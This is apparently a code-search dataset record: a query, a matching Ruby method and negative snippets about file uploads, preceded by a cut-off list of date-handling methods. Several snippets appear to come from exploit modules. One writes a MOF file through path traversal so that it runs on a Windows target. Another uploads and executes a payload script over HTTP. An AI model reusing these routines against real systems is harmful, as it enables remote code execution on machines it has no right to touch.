%-d, %Y\") + \" - \" + enddate.strftime(\"%b. %-d, %Y\")\n end", "def between_dates(sd, es)\n return true if sd <= self.start_date && es >= self.end_date \n return false\n end", "def start_date\n params[:start_date] ? params[:start_date].to_datetime : DateTime.now.beginning_of_month\n end", "def start_date_before_end_date\n return unless start_date && end_date\n\n errors.add(:start_date, 'can\\'t be after the end date') if start_date > end_date\n end", "def format_date options = {}\n dates = options[:start_date].strftime(\"%D\") if options[:start_date]\n dates << \" -- \" + options[:end_date].strftime(\"%D\") if options[:end_date]\n dates = \"N/A\" if !dates\n return dates\n end", "def validate_start_and_stop_date\n if active_date\n if active_start_date.nil? or active_stop_date.nil?\n errors.add(:active_date, \"start date or end date not set\")\n end\n end\n end", "def start_time\n begin_date\n end", "def calculated_dates\n [period1_from_date,period1_end_date,\n period2_from_date, period2_end_date] \n end", "def index\n @events = Event.valid_dates\n @events = @events.after_startdate(params[:startdate]) if params[:startdate].present?\n @events = @events.before_enddate(params[:enddate]) if params[:enddate].present?\n end", "def is_date_range?\n start_time.present? && end_time.present?\n end", "def date_in_range?(first, date, last)\n first <= date && date <= last\n end", "def dates(start_at, end_on)\n start_at.to_datetime.step(end_on).select { |d| d.cwday == @day }\n end", "def set_start_end_time\n @start_date = Time.zone.local(*params[:reservation].sort.map(&:last)\n .map(&:to_i))\n @end_date = @start_date + params[:hours].to_i.hours\n end", "def extractDateList(start_date, end_date)\n obj_start=Date.new(start_date[0..3].to_i, start_date[4..5].to_i, start_date[6..7].to_i)\n obj_end=Date.new(end_date[0..3].to_i, end_date[4..5].to_i, end_date[6..7].to_i)\n date_num=(obj_end-obj_start+1).to_i\n date_array=Array.new\n date_num.times do |i|\n date_now=obj_start+i\n date_array << date_now.strftime(\"%Y%m%d\")\n end\n date_array\nend", "def formatDateRange(startdate, enddate)\n startdate.strftime(\"%B %-d\") + \" - \" + enddate.strftime(\"%B %-d, %Y\")\n end", "def appctrl_dates_from_search( default_start, default_end )\n a = appctrl_date_from_params( :search_range_start ) || default_start\n b = appctrl_date_from_params( :search_range_end ) || default_end\n\n a, b = b, a if ( a > b )\n\n return [ a, b ]\n end", "def hr_start_date\n convert_date(start_date.to_s)\n end", "def valid_dates\n if !start_date or start_date.month != 1 or start_date.day != 1\n errors.add(\"start_date\", \"Start date must be January 1st\")\n end\n if !end_date or end_date.month != 12 or end_date.day != 31\n errors.add(\"end_date\", \"End date must be December 31st\")\n end\n end", "def estimated_end_date\n start_date + 12.days\n end", "def end_date\n self.end_at if self.respond_to?(:end_at)\n end", "def start_date\n return begins if support_deal.nil?\n self.begins ||= support_deal.start_date\n return support_deal.start_date > begins ? support_deal.start_date : begins\n end", "def date_range( start_date, end_date )\n d_range = []\n cur_date = start_date \n\n until cur_date == end_date\n d_range << cur_date\n cur_date = Calendar.next_day( cur_date )\n end\n \n d_range << end_date\n end", "def determine_end_date\n self.end_date = start_date.next_month.yesterday\n end", "def initialize(start_date, end_date)\n @start_date = start_date.class == String ? Date.parse(start_date) : start_date\n @end_date = end_date.class == String ? Date.parse(end_date) : end_date\n end", "def start\n startDate\n end", "def date_set(date_from, date_to)\n # if the first parameter is empty, default to using second date instead\n date_from = date_overwrite(date_from, date_to)\n date_to = date_overwrite(date_to, date_from)\n\n # after date potentially duplicated above, use first/last entry years\n # and first/last day of year to cover missing year, month, and day\n date_from = date_default(date_from, [DATE_FIRST[0], \"01\", \"01\"])\n date_to = date_default(date_to, [DATE_LAST[0], \"12\", \"31\"])\n\n date_from = date_format(date_from, default_year: DATE_FIRST[0].to_i)\n date_to = date_format(date_to, default_year: DATE_LAST[0].to_i)\n\n # Set parameters so form populated with calculated dates\n params[:date_from] = date_from.split(\"-\")\n params[:date_to] = date_to.split(\"-\")\n\n [date_from, date_to]\n end", "def start_time\n by_date\n end", "def change_dates start_date, finish_date\n set_dates start_date, finish_date\n\n set_calendar\n end", "def start_date_icalendar\n\t\treturn start_date.utc.strftime(\"%Y%m%dT%H%M%S\")\n\tend", "def start_date\n @start_date ||= Date.today - Date.today.wday - 7 * 52\nend", "def get_begin_date\n get_end_date.prev_year\n end" ]
[ "0.7806334", "0.7504897", "0.7229408", "0.72161454", "0.71717966", "0.7134071", "0.7122624", "0.70484227", "0.6962576", "0.6899374", "0.6869305", "0.68627644", "0.6831647", "0.67916477", "0.6781976", "0.67743236", "0.67740023", "0.6692568", "0.6621987", "0.6620965", "0.6615997", "0.66096103", "0.66081935", "0.6603055", "0.6588518", "0.6582156", "0.6577227", "0.65675396", "0.6563693", "0.6562037", "0.6560806", "0.65559036", "0.6549142", "0.6546882", "0.6540899", "0.6540732", "0.6535993", "0.6523778", "0.65232545", "0.6512695", "0.6503909", "0.6483723", "0.6481457", "0.64631885", "0.6455613", "0.6436284", "0.6435952", "0.6434497", "0.64296997", "0.6427548", "0.6422737", "0.64189726", "0.64029473", "0.63979626", "0.63914025", "0.6391355", "0.6391355", "0.6391355", "0.6391355", "0.6391355", "0.63894004", "0.637955", "0.63783544", "0.6375049", "0.63687944", "0.6350518", "0.6345952", "0.63334227", "0.6330682", "0.6320323", "0.6318888", "0.6318589", "0.6317028", "0.63048893", "0.63029903", "0.6297574", "0.6289122", "0.62876284", "0.62810934", "0.6279679", "0.62782466", "0.62606984", "0.62557983", "0.62549037", "0.6253497", "0.62524045", "0.6242503", "0.6242221", "0.6231753", "0.622634", "0.62234026", "0.6221531", "0.62184304", "0.62171113", "0.6215301", "0.6214844", "0.6213856", "0.6213316", "0.6211838", "0.62082" ]
0.6749762
17
upload_file(remote_filepath, remote_filename, local_filedata) remote_filepath: Remote filepath where the file will be uploaded remote_filename: Remote name of the file to be executed ie. boot.ini local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
def upload_file(remote_filepath, remote_filename, local_filedata = null) magic_code = "\xdd\xdd" opcode = [6].pack('L') # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof! file = "..\\..\\" << remote_filepath << remote_filename << "\x00" pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4 # Magic_code + packing + size pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L') tmp_pkt = opcode << file tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata pkt << tmp_pkt print_status("Starting upload of file #{remote_filename}") connect sock.put(pkt) disconnect print_status("File uploaded") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def upload_file(remote, local)\n write_file(remote, ::File.read(local))\n end", "def upload(remote_path, contents)\n end", "def upload_file local_source, remote_dest, options = {}\n add [local_source, remote_dest], check_file(remote_dest)\n chmod options[:perms], remote_dest if options[:perms]\n chown options[:owner], remote_dest if options[:owner]\n end", "def upload(local, remote, mode = 0o644)\n file.open(remote, 'w', mode) { |io| io.upload(local) }\n end", "def upload(locals, remote)\n unless file(remote).directory?\n raise TransportError, \"#{self.class} expects remote directory as second upload parameter\"\n end\n\n Array(locals).each do |local|\n new_content = File.read(local)\n remote_file = File.join(remote, File.basename(local))\n\n logger.debug(\"Attempting to upload '#{local}' as file #{remote_file}\")\n\n file(remote_file).content = new_content\n end\n end", "def upload(local, remote)\n local = Pathname.new(local) unless local.kind_of? Pathname\n raise \"no file\" unless local.exist?\n\n # we assume these are small enough to slurp.\n script = local.read\n limitkeys = [:method, :path, :script, @itemkey]\n remote = remote.select{|k,v| limitkeys.include? k }\n remote[:script] = script\n# post('', remote)\n if remote.has_key? @itemkey then\n put('/' + remote[@itemkey], remote) do |request, http|\n response = http.request(request)\n case response\n when Net::HTTPSuccess\n #return JSON.parse(response.body)\n when Net::HTTPNotFound\n verbose \"\\tDoesn't exist, creating\"\n post('/', remote)\n else\n showHttpError(request, response)\n end\n end\n else\n verbose \"\\tNo itemkey, creating\"\n post('/', remote)\n end\n end", "def upload_and_run(local_path, remote_path)\n upload local_path, remote_path\n run \"chmod a+x #{remote_path}\"\n sudo remote_path\n sudo \"rm #{remote_path}\"\nend", "def upload_server_file(hostname,username,password,remote_file,local_file)\n Net::SCP.upload!(hostname, username, remote_file, local_file, :ssh => { :password => password })\n return\nend", "def upload(filename)\r\n select(nil, nil, nil, 1)\r\n\r\n peer = \"#{rhost}:#{rport}\"\r\n print_status(\"#{peer} - Trying to upload #{::File.basename(filename)}\")\r\n conn = connect(false, datastore['VERBOSE'])\r\n if not conn\r\n fail_with(Exploit::Failure::Unreachable, \"#{@peer} - Connection failed\")\r\n end\r\n\r\n # Switch to binary mode\r\n print_status(\"#{peer} - Set binary mode\")\r\n send_cmd(['TYPE', 'I'], true, conn)\r\n\r\n # Prepare active mode: Get attacker's IP and source port\r\n src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']\r\n src_port = datastore['SRVPORT'].to_i\r\n\r\n # Prepare active mode: Convert the IP and port for active mode\r\n src_ip = src_ip.gsub(/\\./, ',')\r\n src_port = \"#{src_port/256},#{src_port.remainder(256)}\"\r\n\r\n # Set to active mode\r\n print_status(\"#{peer} - Set active mode \\\"#{src_ip},#{src_port}\\\"\")\r\n send_cmd(['PORT', \"#{src_ip},#{src_port}\"], true, conn)\r\n\r\n # Tell the FTP server to download our file\r\n send_cmd(['STOR', filename], false, conn)\r\n\r\n print_good(\"#{peer} - Upload successful\")\r\n disconnect(conn)\r\n end", "def upload(local, remote = nil, opts={})\n remote ||= File.split(local).last\n remote = expand_path remote\n ssh.scp.upload!(local, remote, opts)\n end", "def postgres_upload_binary_file(fname, remote_fname=nil)\n data = File.read(fname)\n postgres_upload_binary_data(data, remote_fname)\n end", "def upload_file(command, remote_path, contents, ssh_username=nil)\n upload_as_user = ssh_username || default_ssh_username\n run_remote_command(\"mkdir -p #{File.dirname(remote_path)}\", upload_as_user)\n Tempfile.open(\"remote_script\") do |file|\n file << contents\n file.flush\n logfile.puts \"uploading #{remote_path} to Inception VM\"\n Net::SCP.upload!(host, upload_as_user, file.path, remote_path, ssh: { keys: private_keys })\n end\n true\n rescue StandardError => e\n logfile.puts \"ERROR running upload_file(#{command.class}, '#{remote_path}', ...)\"\n logfile.puts e.message\n logfile.puts e.backtrace\n false\n end", "def upload!(_local, _remote, _options = {}) raise MethodUnavailableError end", "def sudo_upload(local, remote, opts={})\n remote = expand_path remote\n\n # TODO: umask this?\n local_mode = File.stat(local).mode & 07777\n File.chmod 0600, local\n \n\n # Get temporary filename\n tmpfile = '/'\n while exists? tmpfile\n tmpfile = '/tmp/sudo_upload_' + Time.now.to_f.to_s\n end\n\n # Upload\n upload local, tmpfile, opts\n\n # Get remote mode/user/group\n sudo do\n if exists? remote\n mode = self.mode remote\n user = stat('-c', '%U', remote).strip\n group = stat('-c', '%G', remote).strip\n else\n user = stat('-c', '%U', File.dirname(remote)).strip\n group = stat('-c', '%G', File.dirname(remote)).strip\n mode = local_mode\n end\n\n # Move and chmod\n mv tmpfile, remote\n chmod mode, remote\n chown \"#{user}:#{group}\", remote\n end\n end", "def upload(locals, remote)\n # evaluate $env:temp on Windows\n real_remote = remote.to_s == \"\\$env:TEMP\\\\kitchen\" ? kitchen_temp : remote\n FileUtils.mkdir_p(real_remote)\n Array(locals).each do |local|\n FileUtils.cp_r(local, real_remote)\n end\n end", "def upload(http_post_url, remote_folder, local_file)\n $log.info \"curl -F file=@#{local_file} -F directory=#{remote_folder} #{http_post_url}\"\n return system(\"curl -F file=@#{local_file} -F directory=#{remote_folder} #{http_post_url}\")\nend", "def upload_file(local_file, remote_path)\n Net::SFTP.start(HOSTNAME, USERNAME, :password => PASSWORD) do |sftp|\n file_perm = 0644\n next if File.stat(local_file).directory?\n remote_file = remote_path + \"/\" + local_file\n \n begin\n rstat = sftp.stat!(remote_file)\n rescue Net::SFTP::StatusException => e\n raise unless e.code == 2\n puts \"Copying #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n sftp.setstat(remote_file, :permissions => file_perm)\n next\n end\n \n #puts File.stat(local_file).mtime \n #puts Time.at(rstat.mtime)\n if File.stat(local_file).mtime > Time.at(rstat.mtime)\n puts \"Updating #{local_file} to #{remote_file}\"\n sftp.upload(local_file, remote_file)\n end\n end\n end", "def upload_file(local_file, remote_folder='', storage_type='Aspose', storage_name='')\n\n begin\n\n raise 'Local file not specified' if local_file.empty?\n\n if storage_type == 'Aspose'\n\n filename = File.basename(local_file)\n\n if remote_folder.empty?\n struri = $product_uri + '/storage/file/' + filename\n else\n struri = $product_uri + '/storage/file/' + remote_folder + '/' + filename\n end\n\n signeduri = Aspose::Cloud::Common::Utils.sign(struri)\n\n else\n\n filename = File.basename(local_file)\n\n if remote_folder.empty?\n struri = $product_uri + '/storage/file/' + filename + '?storage=' + storage_name\n else\n struri = $product_uri + '/storage/file/' + remote_folder + '/' + filename + '?storage=' + storage_name\n end\n\n signeduri = Aspose::Cloud::Common::Utils.sign(struri)\n\n end\n\n Aspose::Cloud::Common::Utils.upload_file_binary(local_file, signeduri)\n\n rescue Exception => e\n print e\n end\n end", "def upload!(local, remote, options={}, &block)\n upload(local, remote, options, &block).wait\n end", "def upload!(local, remote, options = {}) # rubocop:disable Lint/UnusedMethodArgument\n end", "def upload_binary_and_config(config_file_local, config_filename_remote, host)\n transfer INTEGRIT_BINARY, host+\":integrit\"\n transfer config_file_local.to_s, host+\":\"+config_filename_remote\n end", "def copy_to_remote(local_file, remote_path)\n\t\t@ssh_session.scp.upload! local_file, remote_path\n\tend", "def upload(local_path, dest_path)\n local_file_name = File.basename local_path\n dest_dir_name = File.dirname dest_path\n ssh.send_file local_path, \"/tmp/#{local_file_name}\"\n ssh.exec! \"mkdir --parents #{dest_dir_name}\", sudo: true\n ssh.exec! \"mv /tmp/#{local_file_name} #{dest_path}\", sudo: true\n return dest_path\n end", "def upload_remote(url, **opt)\n # @type [Down::ChunkedIO] io\n io = Down.open(url, **DOWN_OPEN_OPTIONS)\n opt[:metadata] = opt[:metadata]&.dup || {}\n opt[:metadata]['filename'] ||= File.basename(url)\n file_attacher.attach(io, **opt)\n rescue => error\n __output \"!!! #{__method__}: #{error.class}: #{error.message}\"\n raise error\n ensure\n # noinspection RubyScope, RubyMismatchedReturnType\n io&.close\n end", "def upload(local, remote, options={})\n ssh.upload(local, remote, options)\n end", "def send_file(file, remotefile = File.basename(file))\n begin\n @ftp.putbinaryfile(file, remotefile)\n return true\n rescue Exception => e\n error_message(e)\n return false\n end\n end", "def upload_file(deployment_id, id, local_file, destination, params={})\n if destination.empty? || destination == \"/\" || destination == \".\" || destination.include?(\"../\")\n raise \"#{self.class}.upload_file() passed a bad destination: '#{destination}'\"\n end\n # url = \"#{@base_url}/#{base_path}/#{deployment_id}/versions/#{id}/files\"\n url = \"#{base_path}/#{deployment_id}/versions/#{id}/files\"\n if !destination.to_s.empty?\n url += \"/#{destination}\"\n end\n # use URI to escape path\n uri = URI.parse(url)\n url = uri.path\n # params[:filename] = File.basename(destination)\n if !local_file.kind_of?(File)\n local_file = File.new(local_file, 'rb')\n end\n payload = local_file\n headers = {'Content-Type' => 'application/octet-stream'}\n headers['Content-Length'] = local_file.size # File.size(local_file)\n execute(method: :post, url: url, headers: headers, payload: payload, params: params, timeout: 172800)\n end", "def upload_file(server_or_workers, local_file, remote_file)\n case server_or_workers\n when :server\n raise 'Server node is nil' unless @os_aws.server\n\n return @os_aws.server.upload_file(local_file, remote_file)\n when :worker\n raise 'Worker list is empty' if @os_aws.workers.empty?\n\n return @os_aws.workers.each { |w| w.upload_file(local_file, remote_file) }\n end\n end", "def file_upload(*paths); net_scp_transfer!(:upload, false, *paths); end", "def upload_local(path, **opt)\n File.open(path) do |io|\n file_attacher.attach(io, **opt)\n end\n rescue => error\n __output \"!!! #{__method__}: #{error.class}: #{error.message}\"\n raise error\n end", "def put(local_file, remote_file=nil)\n remote_file = remote_file.nil? ? File.basename(local_file) : remote_file\n @logger.debug(sprintf('scp from host[%s] to VM[%s]', local_file, remote_file))\n\n raise FileTransferError.new(sprintf('unable to put[%s], local file does not exist', local_file)) unless File.file?(local_file)\n\n begin\n @ssh.scp.upload!(local_file, remote_file)\n rescue => e\n raise FileTransferError.new(sprintf('unable to put[%s], exception[%s]', local_file, e.message()))\n end\n\n return true\n end", "def uploadFile(localFilePath, destFilePath, maxAge = 172800) # 2 Days = 1,72,800 seconds \n ext = File.extname(localFilePath).downcase\n msgContentType = \"\"\n cacheControl = \"max-age=#{maxAge}, must-revalidate\"\n if (ext == \"\")\n contentType = 'text/html'\n msgContentType = \"No file-ext: \"\n elsif (Fh5::Config.instance.contentTypes && Fh5::Config.instance.contentTypes.has_key?(ext))\n contentType = Fh5::Config.instance.contentTypes[ext]\n msgContentType = \"Override for '#{ext}':\"\n else \n contentType = MimeMagic.by_path(destFilePath).type\n end\n @log.info(@logPrefix) {\"Upload: '#{destFilePath}' (#{msgContentType}#{contentType}) (#{cacheControl})\"}\n begin\n File.open(localFilePath) do |f|\n content = f.read\n @bucketAdmin.defaultBucket.put(destFilePath, content, {}, 'public-read', \n {'Content-Type' => contentType, 'Cache-Control' => cacheControl})\n end\n rescue\n @log.errorException($!, @logPrefix) {\"Failed to upload to: '#{destFilePath}'\"}\n\n return nil\n end\n \n # comment out stuff related to public links which doesn't seem to work for website bucket.\n # publicLink = @bucketAdmin.endpointBucket.key(destFilePath).public_link\n # @log.debug(@logPrefix) {\"Public link: '#{publicLink}' for file: '#{destFilePath}'\"}\n # return publicLink \n end", "def remote_cmd (upload_type, infile)\n server = \"http://roz.bc.edu:8080\"\n base_url = server + \"/mlab/upld\"\n return RestClient.post(base_url,\n {\"upload-type\" => upload_type,\n :subtype => \"remote\",\n :user => ENV['LOGNAME'].downcase,\n :host => ENV[\"HOST\"],\n :file => File.new(infile)},\n {:cookies => {:user => ENV['LOGNAME'].downcase}})\nend", "def file_send(file_local, file_target, compressed=false)\n\t\traise \"Target machine is not accessible\" if (!@config[\"ssh\"] or !@ip)\n\t\traise \"Local file (#{source}) is not accessible\" if (!(file_local[-1].eql? \"/\") && !(file_local[-2,2].eql? \"/*\") && !File.exist?(File.expand_path(file_local)))\n\n\t\t# Prepare\n\t\tfile_local = File.expand_path(file_local.gsub(/\\/\\*$/, ''))\n\t\tfile_target = file_target.gsub(/\\/$/, '')\n\n\t\t# Send\n\t\tif (compressed && !(['.tar.gz','.gz','.zip'].include? File.extname(file_local)))\n\t\t\t# Compress, send, uncompress\n\t\t\tcase compressed\n\t\t\t\twhen \"tar\"\n\t\t\t\t\t# TAR\n\t\t\t\t\t_tarname = Time.now.to_i\n\t\t\t\t\tputs \"[INFO] Sending #{file_local} using TAR archive\" if $debug\n\t\t\t\t\t`rm -f /tmp/captain/transfers/#{_tarname}.tar.gz && cd $(dirname \"#{file_local}\") && tar -czf /tmp/captain/transfers/#{_tarname}.tar.gz $(basename \"#{file_local}\") && scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" /tmp/captain/transfers/#{_tarname}.tar.gz #{@config[\"ssh\"][\"username\"]}@#{@ip}:/tmp/captain/transfers/#{_tarname}.tar.gz 2>/dev/null && rm -f /tmp/captain/transfers/#{_tarname}.tar.gz`\n\t\t\t\t\t_scp = command_send(\"tar -xzf /tmp/captain/transfers/#{_tarname}.tar.gz -C $(dirname '#{file_target}') && mv \\\"$(dirname '#{file_target}')/$(basename '#{file_local}')\\\" \\\"#{file_target}\\\" && rm -f /tmp/captain/transfers/#{_tarname}.tar.gz\")\n\t\t\t\twhen \"zip\"\n\t\t\t\t\t# ZIP\n\t\t\t\t\t_zipname = Time.now.to_i\n\t\t\t\t\tputs \"[INFO] Sending #{file_local} using ZIP archive\" if $debug\n\t\t\t\t\t`rm -f /tmp/captain/transfers/#{_zipname}.zip && cd $(dirname \"#{file_local}\") && zip -rq /tmp/captain/transfers/#{_zipname}.zip $(basename \"#{file_local}\") && scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" /tmp/captain/transfers/#{_zipname}.zip #{@config[\"ssh\"][\"username\"]}@#{@ip}:/tmp/captain/transfers/#{_zipname}.zip 2>/dev/null && rm -f /tmp/captain/transfers/#{_zipname}.zip`\n\t\t\t\t\t_scp = command_send(\"unzip /tmp/captain/transfers/#{_zipname}.zip -d $(dirname '#{file_target}') && mv \\\"$(dirname '#{file_target}')/$(basename '#{file_local}')\\\" \\\"#{file_target}\\\" && rm -f /tmp/captain/transfers/#{_zipname}.zip\")\n\t\t\t\telse\n\t\t\t\t\traise \"Unsupported archiving type \"+compressed\n\t\t\tend\n\t\telse\n\t\t\t# Send uncompressed\n\t\t\tputs \"[INFO] Sending #{file_local}\" if $debug\n\t\t\t_scp = `scp -rq -oStrictHostKeyChecking=no -oConnectTimeout=8 -i \"#{@config[\"ssh\"][\"key\"]}\" \"#{file_local}\" #{@config[\"ssh\"][\"username\"]}@#{@ip}:\"#{file_target}\" 2>/dev/null`\n\t\tend\n\t\treturn _scp\n\tend", "def upload_file_to_guest(local_path, guest_path, quiet=false)\n\n # 1 copy to tmp location in .ievms\n FileUtils.cp local_path, File.join(IEVMS_HOME,File.basename(local_path))\n\n # 2 run cp command in machine\n log_stdout \"Copying #{local_path} to #{guest_path}\", quiet\n guestcontrol_exec \"cmd.exe\", \"cmd.exe /c copy \\\"E:\\\\#{File.basename(local_path)}\\\" \\\"#{guest_path}\\\"\"\n\n # 3 remove tmp file in .ievms\n FileUtils.rm File.join(IEVMS_HOME,File.basename(local_path))\n end", "def upload(file, someone)\n end", "def file_up(platform, dir)\r\n # specifying an extension by platform\r\n if platform == Msf::Module::Platform::Windows\r\n filex = \".bat\"\r\n else\r\n if payload.encoded =~ /sh/\r\n filex = \".sh\"\r\n elsif payload.encoded =~ /perl/\r\n filex = \".pl\"\r\n elsif payload.encoded =~ /python/\r\n filex = \".py\"\r\n elsif payload.encoded =~ /ruby/\r\n filex = \".rb\"\r\n else\r\n fail_with(Failure::Unknown, 'Payload type could not be checked!')\r\n end\r\n end\r\n \r\n @fname= rand_text_alpha(9 + rand(3)) + filex\r\n data = Rex::MIME::Message.new\r\n data.add_part('./', nil, nil, 'form-data; name=\"uploadDir\"')\r\n data.add_part(payload.encoded, 'application/octet-stream', nil, \"form-data; name=\\\"theFile\\\"; filename=\\\"#{@fname}\\\"\")\r\n \r\n res = send_request_cgi({\r\n 'method' => 'POST', \r\n 'data' => data.to_s,\r\n 'agent' => 'Mozilla',\r\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\r\n 'cookie' => @cookie,\r\n 'uri' => normalize_uri(target_uri, \"Upload.do\") \r\n })\r\n \r\n if res && res.code == 200 && res.body.include?('icon_message_success') # Success icon control\r\n print_good(\"#{@fname} malicious file has been uploaded.\")\r\n create_exec_prog(dir, @fname) # Great. Let's send them somewhere else o_O\r\n else\r\n fail_with(Failure::Unknown, 'The file could not be uploaded!')\r\n end\r\n end", "def upload\n if !@local_target.nil? && !@remote_target.nil?\n if @verbose\n system \"#{ @dbu } upload #{ @local_target } #{ @remote_target }\"\n else\n exec = `#{ @dbu } upload #{ @local_target } #{ @remote_target }`\n end\n else\n error_msg = 'Local and remote targets cannot be nil'\n @logger.error(error_msg) if @logger\n fail StandardError, error_msg\n end\n end", "def send_local_file(filename)\n filename = File.absolute_path(filename)\n if @opts[:local_infile] || @opts[:load_data_local_dir] && filename.start_with?(@opts[:load_data_local_dir])\n File.open(filename){|f| write f}\n else\n raise ClientError::LoadDataLocalInfileRejected, 'LOAD DATA LOCAL INFILE file request rejected due to restrictions on access.'\n end\n ensure\n write nil # EOF mark\n end", "def put(filepath, remote_filepath)\n @request = Net::HTTP::Put.new(::File.join(@uri.path, remote_filepath))\n @request.body_stream = ::File.open(filepath)\n @request.content_type = 'application/kzip'\n @request.content_length = ::File.size(filepath)\n\n @request.basic_auth @username, @password\n\n @response = @http.request(@request)\n\n @response.body.presence || @response.code.to_i\n end", "def prepareFileTransfer(iLocalFileName)\n rError = nil\n rNewData = nil\n\n # Put the complete file in the POST value.\n # TODO: Make a better handling, generic (use FTP/SCP/Netbios... if the MasterProvider allows it)\n # Read the file\n File.open(iLocalFileName, 'rb') do |iFile|\n rNewData = iFile.read\n end\n\n return rError, rNewData\n end", "def push_file(sftp_session, remote_path, local_path, sync_data)\n\n # get the modification time of the local file\n local_mtime = File.mtime(local_path)\n\n # get the remote modification time\n begin\n\n remote_mtime = Time.at(sftp_session.file.open(remote_path).stat().mtime)\n rescue\n\n remote_mtime = nil\n end\n\n # get our last sync times\n last_sync = get_last_sync_times(sync_data, remote_path)\n\n if(# push if the file isn't present on the remote side\n !remote_mtime ||\n \n # push the file if the remote file is older than our last pull\n (last_sync[\"pull_last_remote\"] &&\n (last_sync[\"pull_last_remote\"] <=> remote_mtime) > 0) ||\n \n # push the file if it's newer that the last push\n (last_sync[\"push_last_local\"] &&\n (last_sync[\"push_last_local\"] <=> local_mtime) < 0) ||\n\n # if we haven't pushed this file and the file is newer than the\n # the last pull\n (!last_sync[\"push_last_local\"] && last_sync[\"pull_last_local\"] &&\n (last_sync[\"pull_last_local\"] <=> local_mtime) < 0))\n\n # push the file\n sftp_session.upload!(local_path, remote_path)\n @log.debug(\"Pushed file #{local_path}\")\n \n # get the new modification time of the remote file\n remote_mtime = Time.at(sftp_session.file.open(remote_path).stat().mtime)\n \n # save the modification time of the local file\n sync_data[\"push\"][remote_path] = [local_mtime, remote_mtime]\n else\n\n @log.debug(\"Skipped file #{local_path}\")\n end\n end", "def securedftp localfile\n begin\n Net::SFTP.start(@conf[:host],'masset2', :password => 'masset2!media') do |sftp|\n sftp_mkdir sftp, dirs\n sftp.stat(remotefile) do |response|\n unless response.ok?\n sftp.upload!(localfile, remotefile)\n end\n end\n end\n local_to_remote_url localfile\n rescue Exception=>ex\n Rails.logger.error \"securedftp #{localfile} - #{ex.message}\"\n nil\n end\n end", "def transfer!\n Logger.message(\"#{ self.class } started transferring \\\"#{ remote_file }\\\".\")\n create_local_directories!\n FileUtils.cp(\n File.join(local_path, local_file),\n File.join(remote_path, remote_file)\n )\n end", "def remote_file_resource\n Chef::Log.info \"Remote file: #{file_location}\"\n Chef::Log.info \"Local file: #{new_resource.name}\"\n @remote_file_resource ||= remote_file new_resource.name do\n source file_location\n checksum new_resource.checksum if !new_resource.checksum.nil?\n owner new_resource.owner\n group new_resource.group\n backup false\n action :nothing\n end\nend", "def generate_config(local_file, remote_file)\n temp_file = '/tmp/' + File.basename(local_file)\n buffer = parse_config(local_file)\n File.open(temp_file, 'w+') { |f| f << buffer }\n upload temp_file, remote_file, :via => :scp\n `rm #{temp_file}`\nend", "def load(data)\n begin_connection\n\n logger.info \"Uploading #{data} to #{@username}@#{@host}: #{@remote_path}\"\n sftp_retry { sftp_session.upload! data, @remote_path }\n\n true\n ensure\n end_connection\n end", "def upload_media_file( wikipath, filename, raw )\n p filename\n headers = {\n 'Content-Type' => 'application/octet-stream',\n 'X-File-Name' => filename\n }\n url = upload_url( wikipath, filename )\n p url\n wait_second\n pp @agent.post( url, raw, headers )\n save_uploaded( filename )\n end", "def upload_new_content\n tempfile = Tempfile.new('rosh_remote_file')\n tempfile.write(@unwritten_contents)\n tempfile.rewind\n current_shell.upload(tempfile, @path)\n\n tempfile.unlink\n @unwritten_contents = nil\n\n current_shell.last_exit_status.zero?\n end", "def upload_file(file_path, itunes_location)\n # url = URI.parse(self.upload_url_for_location(itunes_location))\n # req = Net::HTTP::Post::Multipart.new(url.path, {\"file\" => UploadIO.new(file_path, \"image/jpeg\")})\n # res = Net::HTTP.start(url.host, url.port) do |http|\n # http.request(req)\n # end\n \n IO::popen('-') do |c|\n exec \"curl -q -F 'file=@#{file.path}' '#{upload_url_for_location(itunes_location)}'\"\n end\n end", "def on_session_upload(session, local_path, remote_path)\n\tend", "def stor_file(source, filename)\n self.ftp.chdir(\"/upload\")\n\n if source.is_a?(File)\n self.ftp.putbinaryfile(source, filename, Net::FTP::DEFAULT_BLOCKSIZE)\n else\n self.ftp.storbinary(\"STOR #{filename}\", StringIO.new(source), Net::FTP::DEFAULT_BLOCKSIZE)\n end\n\n true\n end", "def file_inject(node, local_file, remote_file)\n code, _remote = node.inject_file(local_file, remote_file, 'root', false)\n code\nend", "def remote_file(task)\n target_roles = task.delete(:roles)\n override = task.delete(:override)\n\n UploadTask.define_task(task) do |t|\n prerequisite_file = t.prerequisites.first\n file = shared_path.join(t.name).to_s.shellescape\n\n on roles(target_roles) do\n if override || !test(\"[ -f #{file} ]\")\n info \"Uploading #{prerequisite_file} to #{file}\"\n upload! File.open(prerequisite_file), file\n end\n end\n\n end\n end", "def upload(locals, remote) # rubocop:disable Lint/UnusedMethodArgument\n raise ClientError, \"#{self.class}#upload must be implemented\"\n end", "def upload_file(source, destination, targets)\n future = executor.future&.fetch('file_paths', false)\n source = find_file(source, future)\n targets = inventory.get_targets(targets)\n\n Bolt::Util.validate_file('source file', source, true)\n\n with_benchmark do\n executor.upload_file(targets, source, destination)\n end\n end", "def server_put_file(server, io, remote_path, options={})\n request(\n :method => :post,\n :path => \"containers/#{server.id}/files\",\n :params => {\n :path => remote_path\n },\n :body => io,\n :headers => {\n 'Transfer-Encoding' => 'chunked',\n 'X-LXD-uid' => options.fetch(:uid, 0),\n 'X-LXD-gid' => options.fetch(:gid, 0),\n 'X-LXD-mode' => options.fetch(:mode, 0700)\n }\n )\n true\n end", "def submit_payments_file!(filename, lock_object=nil)\n shortname = filename.match(/[\\\\\\/]([^\\\\\\/]+)$/)[1]\n if lock_object && lock_object.submit_locked?(shortname)\n # raise RuntimeError, \"Submit for #{shortname} is locked!\"\n return nil\n else\n lock_object.submit_lock!(shortname) if lock_object\n res = with_ftp do 